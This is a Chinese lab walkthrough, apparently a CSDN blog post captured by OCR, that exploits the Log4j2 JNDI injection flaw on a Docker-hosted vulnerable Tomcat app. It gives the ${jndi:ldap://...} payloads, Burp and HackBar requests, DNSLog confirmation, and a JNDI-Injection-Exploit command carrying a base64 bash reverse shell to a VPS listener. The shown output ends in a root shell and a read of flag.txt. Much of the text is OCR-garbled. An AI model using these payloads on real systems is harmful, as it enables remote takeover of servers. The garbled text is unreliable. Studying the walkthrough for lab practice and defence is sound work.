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Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rcl (FhT %eit)
¥ E B

IRIA S I B Zgithub EEREEY, JRgithubiihb7EiX B
log4j_vuln

BRRFEGHIE
1.1. dockerd; BUk ¥ 3% 1 514

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j vuln

s.com/fengxuan/log4j_vuln

F'u'l'l C

Pull complete

Pull -::rnp]n

Pull c :

Pull

Pull

Pull

Pu11
] 04912d71d
yuncs.com/fen

]_muln:latest

1.2, BITZEH

docker run -it -d -p 8080:8080 --name log4j vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j vuln

logij_vuln_container r try.cn-hangzhou.aliyuncs.com/

al8b8ccicaf

~/RME

1.3. HEABFH/BIHET

docker exec -it log4j_vuln_container /bin/bash


https://github.com/fengxuangit/log4j_vuln

2 ~/RH

log4j _vuln_container /bin/bash
[root@910c ac ansible}t |

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

~/ R

logij_vuln_container
g ( A_B :
Using CATALINA_HOME: Lo L 5
ATALINA_TMPDIR e/a 3 5 temp

5/bin/bootstrap. jar:/home/apache-tomcat-8.5.45/bi

s

Vi 1 A ML hk in8080%E L, 4 R FiR:
http://192.168.25.130:8080/webstudy/hello-fengxuan

30:8080/we’ X
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c=${jndi:1ldap://1log4j2.xxxxxx.dnslog.cn}
c=${jndi:rmi://logdj2.xxxxxx.dnslog.cn}

R T EH burpsuitedll, HilipostiERT R, HIM—NcSH, SHNAEpocH BRI, FEXZ AT FHEHA —dnslogiiitiEN

it BRPER——FR:
2.1, il dnslogMst, HiE—A:
DNSLog Platform

RidiGet SubDomain, e ik—AHuhk, SRR BATH SR bk .

Get SubDomain | | Refresh Record |

DNS Query Record

2.2, ERVRIARES, FBurpSuitedlf, SEPOSTiERK:

 im.dnslog.cn

IP Address

Created Time

CSDN @iz

Request

Pretty m Hex E \n | =

POST fwebstudy/hello-fengxuan HTTR/1.1
Host: 192,168, 25,130: 3080

WK

Accept:

@i

Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 40

Lo

[
= Q@ wo

c=%{indi:ldap: */logd; 2 dnslog.cn}

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:78.0) Gecko/20100101 Firefox/78.0

text/html,application/xhtml+xml,application/xml ;q=0.9, image,/webp, */*;q=0.8
Accept-Language: zh-CN,zh; g=0.8,zh-TW;g=0.7,zh-HK: g=0.5,en-US;g=0.3, en; gq=0.2

Response

1
2
3
4
5
5

m Raw Hex Render E in| =
?‘

HTTR/1.1 200

Content-Type: text/htnl;charset=utf-8
Content-Length: 68

Date: Fri, 07 Jan 2022 06:57: 31 GMT
Connection: close

<html=
<hody=

=MNLl=

A RHESRET

= |
[=] [1s] =l

</body>

=/html= e ~ ga NzE el Ly
CSDN @24

FEHEHE P KB R RIKI B ATIDnslog.cnpi st BRI b, REZJE, WMNAIRE200, #7TE! XBERREE T "HAER

BT, WIRFLE.
XA R [FIDNSLog Platformer, BATTATLLE B


http://www.dnslog.cn/
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Get SubDomain Refresh Record
sf.dnslog.cn
DNS Query Record IP Address

loc¢ ~dnslog.cn 130.90
log dnslog.cn 28.90
log¢« dnslog.cn ) 0.110
log: dnslog.cn 8.174

HREATSE:

POST /webstudy/hello-fengxuan HTTP/1.1

Host: (A#lip):8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

c=${jndi:1ldap://logdj2.xxxxxx.dnslog.cn}

Created Time

2022-01-07 15:22:0
5

2022-01-07 15:22:0
5

2022-01-07 15:22:0
4

2022-01-07 15:22:0
3
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ER: HburpsuitedlME Ejirepeterffi /7 3% K poc, A Al GEFEDNslog LTk F BB &K%, MR —EHEM, fEDnslog LA
Refresh Record #8¥& A [ B FITE, XA g s 22 A 3 PR Yo 28 B0 Sl i B0 B 38 i — AN, #d i &2 F ik Max HackBar. 2
—ANA DA H postR B/, R HackBarZ Bift 3k T, Brbl#—/M4 % iMax HackBar, ThEe—#, BT LAEFE4 R .
XAMEAE T CAER S 2 A P IR BN, P12 AR E BN E S . TR R

&« C O 8 192.168.25.130:8080/webstudy/hello-fengxuan?http:%2f%2f192.168.25.130:8080%2fwebstudy%2fhello-fengxuan 2 h
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6’ Load URL http://192.168.25.130:8080/webstudy/hello-fengxuan

X Split URL

5] Execution //
« PostData Referrer ~ REVERSE ™ Y Hex ™ T BAsE64 T o7 oxHEX 77 7 URL 7 MD5 T SHA1L T SHA256 7 RO
Post Data

c=%{jndi:ldap://log4j2.dI2h2k.dnslog.cn}

CSDN @2 EetE

Load URL&Z3REX 4 rijurl, #RJ5%kIEPost Dataiiz®tpoc. A idiExecutionki%, #RJ5%E RldnslogmzhEl &

.1:‘-_ i h““\\ /IGI I. R
(P8 B
| Get SubDomain | Refresh Record |
dI2h2k.dnslog.cn
DNS Query Record IP Address Created Time
log4j2.d12h2k.dnslog.cn =0 2022-01-10 10:09:06

CSDN @&7AM

3\

g
e
#

1



BEIRB A PATHIMR, FEAARM BB A RINDIFEEEIH G 3 imiE X RS, X B AR ZJINDHnjection-Exploit v1.0:
JNDHInjection-Exploit v1.0 github & ™ T %,

BIXA TRt TE EERVPSHRS# L

TEVPSHRS 3 b (R Rcentos7.6 R %) , MANZTAMERT, B8—ANLmHAUTm4:

java -jar target/JINDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, [Z&idbase64%ifid)EHIa4]}|{base64, -
d}|bash" -A [#RKvpsip]
EE: WIEASEN, HEpayload

ITHLLT ML, ¥ & 3shellit iy 43t Tbase il

base#% bt hitps://www.jackson-t.ca/runtime-exec-payloads.html

was  aasw s B MU I IR M IS W G TIRSLIT I W R AT el L W SRl RIS e DI WA wan

ing . But in the context of the exec() function, that command would instead be interpreted to
fetch the listings of the > and dir_listing directories.

Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s "My Directory" would then be interpreted
as 1s '"My' 'Directory"’.

With the help of Base64 encoding, the converter below can help reduce these issues. It can make
pipes and redirects great again through calls to Bash or PowerShell and it also ensures that there
aren't spaces within arguments.

Input type: @ Bash O PowerShell O Python O Perl

bash -1 >»& /dev/tcp/ 6666 0>&l ——
Vi
bash -c
{echo, YlILE'zaCBtaSR+JiRVZGV2L3Rj cC BXH.TQUH.THij IyOC4 yNTEVNj Y2NiAwPi¥YxICOtLO==1]|
{basetcd4,-d} | {bash,-1}
CSDN @z
¥

java -jar INDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8XMTQUMTMyLjIy
OCAyNTEVNJY2NiAwPiYxICOtLQ==}|{base64,-d}|{bash,-i}" -A "vps_ip"

JR #shellfy 4

bash -i >& /dev/tcp/vps_ip/6666 0>&1

HARDRIT


https://github.com/welk1n/JNDI-Injection-Exploit
https://www.jackson-t.ca/runtime-exec-payloads.html

SeTEVPSIRS 2% b, WEMWT, MWrin16666:

[root@VM-20-16-centos ~]# nc -lvnp 6666
Ncat: Version 7.58 ( https://nmap.org/ncat )
Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

WRIEVPSIRS % LT ZTjarxc (& LHAW) -

[root@VM-20-16-centos ~]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -r Jecho,YmFzaC
AtaSA+JiAvZGV?! R -0 MTMy| jTy0C4yNTEVN]Y2ZNiAWPiYx} | {baseb4, -d} | {bash,-i}" -A "1 1
[ADDRESS] ==

[COMMAND] ==

JNDI Links
Target ervironment(Build in whose trustURLCodebase is true):

Target environment(Build in whose trustURLCodebase is true):

Target environment(Build in whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+
in classpath}:

CSDN @i ESH

X5k F i >R fipayload 4T .

B Agithub BT XA KB, #AEshell, BrClst A 7 XML LRI
HEAEEREME, EREI.

UL
CONTROLLER

IEFR - M E 2Ry

THE- MKalinI$Re
IEE - OBAL S E M
Kalilllifs - i T A
AWD$EFHE

FopEi=E)

1 0.1 KB/s
¥ 1.5 KB/s

CSDN @8 Bt

72 P HE S A\ RN ) payload:




P

${jndi:l

CSDN @2 &5 HE

B3h [ #shell:

Connecting to
Connection estau.isiizu.
To escape to local shell, press 'Ctrl+Alt+]'.

The remote SSH server rejected X11 forwardina reguest.
Last login: Mon Jan 10 16:56:32 2022 from

[root@VM-20-16-centos ~]# nc -lvnp 6666

Mcat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

~C

[root@VM-20-16-centos ~]# ~C

[root@VM-20-16-centos ~]# ~C

[root@VM-20-16-centos ~]# nc -lvnp 6666

Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::6666

Ncat: Listening on 0.0.0.0:6666

Ncat: Connection from

Ncat: Connection from - .54232.

root@a@5a66836190:/# whoaiHm " H*H*"H *H " H*H*[ [3~"H"*H"H"H"H"H"H"H"H"H"H"H"H

root@al5a66836T90: /# whoami
whoami

root

root@aB5a66836798:/# |J

CSDN @j2 &S

F & lflag:

root@a05a66836T90: /# 1s
1s

bin

boot

dev

etc
flag.txt
home

lib
1ibg4
media
mnt




root

run

sbin

Srv

5Yys

test.jar

tmp

usr

var

root@a05a66836T90: /# car "H"H"H

imand not found
90:/# cat flag.txt

ERXMEFARAKER T, WAMERRNRHNE, KiLRLHG, github B, wifocus LRI, shelBBE#AER. J&
AR T, REFshelBAERE A ZLZK I, REHOBARRE, J&5HE ST H #shell2 45 .
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